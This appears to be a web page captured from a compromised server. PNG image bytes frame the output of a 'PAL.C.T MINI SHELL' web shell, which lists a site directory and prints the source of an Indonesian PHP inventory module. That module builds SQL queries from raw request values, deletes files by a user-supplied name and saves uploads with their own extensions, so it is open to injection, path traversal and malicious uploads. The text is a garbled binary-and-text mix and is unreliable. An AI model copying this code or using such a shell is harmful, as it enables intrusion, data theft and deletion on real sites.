php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/outlet/ot002/modul/mod_item/
upload
files >> /var/www/html/outlet/ot002/modul/mod_item/aksi_item.php

<?php
session_start();
if (empty($_SESSION['username']) AND empty($_SESSION['passuser'])){
  echo "<link href='style.css' rel='stylesheet' type='text/css'>
 <center>Untuk mengakses modul, Anda harus login <br>";
  echo "<a href=../../index.php><b>LOGIN</b></a></center>";
}
else{
include "../../config/koneksi.php";
include "../../config/library.php";
include "../../config/fungsi_thumb.php";
include "../../config/fungsi_indotgl.php";
$module=$_GET['module'];
$act=$_GET['act'];

    $tgl_sekarang = date('Y-m-d');

    $tgl_update=tgl_update($tgl_sekarang);
    
// Hapus item
if ($module=='item' AND $act=='hapus'){
  $data=mysql_fetch_array(mysql_query("SELECT gambar FROM item WHERE id='$_GET[id]'"));
  if ($data['gambar']!=''){
     mysql_query("DELETE FROM item WHERE id='$_GET[id]'");
     unlink("../../images/item/$_GET[namafile]");   
     //unlink("../../images/item/medium_$_GET[namafile]"); 
     //unlink("../../images/item/small_$_GET[namafile]");   
  }
  else{
     mysql_query("DELETE FROM item WHERE id='$_GET[id]'");
  }
  header('location:../../media.php?module='.$module);
}

// Input item
elseif ($module=='item' AND $act=='input'){
  $cek=mysql_query("SELECT * FROM item WHERE kode='$_POST[kode]'");
  $ada=mysql_num_rows($cek);
  $r=mysql_fetch_array($cek);
  
    $lokasi_file    = $_FILES['fupload']['tmp_name'];
    $tipe_file      = $_FILES['fupload']['type'];
    $nama_file      = $_FILES['fupload']['name'];
    $ext= end(explode('.', $_FILES['fupload']['name']));
	$nama_file_unik = $_POST[kode].'.'.$ext;

      //buat file txt
      $myfile = fopen("../../tanggalupdate.txt", "w") or die("Error. Unable to open file!");
      $txt = "$tgl_update";
      fwrite($myfile, $txt);
      fclose($myfile);

    mysql_query("INSERT INTO log_item (kode_item, tanggal, detail, masuk, sisa)
                                VALUES('$_POST[kode]','$tgl_sekarang','Stok Awal','$_POST[stok_awal]','$_POST[stok_awal]')");

	//tambah data outlet item
	$jlh_outlet=mysql_query("SELECT * FROM outlet");
	while($j=mysql_fetch_array($jlh_outlet)){
		 mysql_query("INSERT INTO outlet_item(kode, nama, harga, gambar, kode_outlet, tanggal_input) 
								VALUES ('$_POST[kode]','$_POST[nama]','$_POST[harga]','$nama_file_unik','$j[kode]','$tgl_sekarang')");
	}
  
    if (!empty($lokasi_file)){
      UploadItem($nama_file_unik);

      mysql_query("INSERT INTO item(kode,
                                      nama,
                                      harga,
                                      stok_awal,
                                      stok_min,
                                      stok_sekarang,
                                      gambar,
                                      tanggal_input) 
                              VALUES('$_POST[kode]',
                                     '$_POST[nama]',
                                     '$_POST[harga]', 
                                     '$_POST[stok_awal]',
                                     '$_POST[stok_min]',
                                     '$_POST[stok_awal]',
                                     '$nama_file_unik',
                                     '$tgl_sekarang')");

    header('location:../../media.php?module='.$module);
    }
    else{

     mysql_query("INSERT INTO item(kode,
                                      nama,
                                      harga,
                                      stok_awal,
                                      stok_min,
                                      stok_sekarang,
                                      tanggal_input) 
                              VALUES('$_POST[kode]',
                                     '$_POST[nama]',
                                     '$_POST[harga]', 
                                     '$_POST[stok_awal]',
                                     '$_POST[stok_min]',
                                     '$_POST[stok_awal]',
                                     '$tgl_sekarang')");

    header('location:../../media.php?module='.$module);
    }
}

// Update item
elseif ($module=='item' AND $act=='update'){
  $lokasi_file    = $_FILES['fupload']['tmp_name'];
  $tipe_file      = $_FILES['fupload']['type'];
  $nama_file      = $_FILES['fupload']['name'];
  $ext= end(explode('.', $_FILES['fupload']['name']));
  $nama_file_unik = $_POST['kode'].'.'.$ext;

      //buat file txt
      $myfile = fopen("../../tanggalupdate.txt", "w") or die("Error. Unable to open file!");
      $txt = "$tgl_update";
      fwrite($myfile, $txt);
      fclose($myfile);
 

  // Apabila gambar tidak diganti
  if (empty($lokasi_file)){
    mysql_query("UPDATE item SET   nama        = '$_POST[nama]',
                                   harga       = '$_POST[harga]'
                             WHERE id  = '$_POST[id]'");
  header('location:../../media.php?module='.$module);
  }
  else{
    UploadItem($nama_file_unik);
    mysql_query("UPDATE item SET   nama        = '$_POST[nama]',
                                   harga       = '$_POST[harga]',
                                   gambar      = '$nama_file_unik'   
                             WHERE id   = '$_POST[id]'");
   header('location:../../media.php?module='.$module);
   }
  }
}
?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`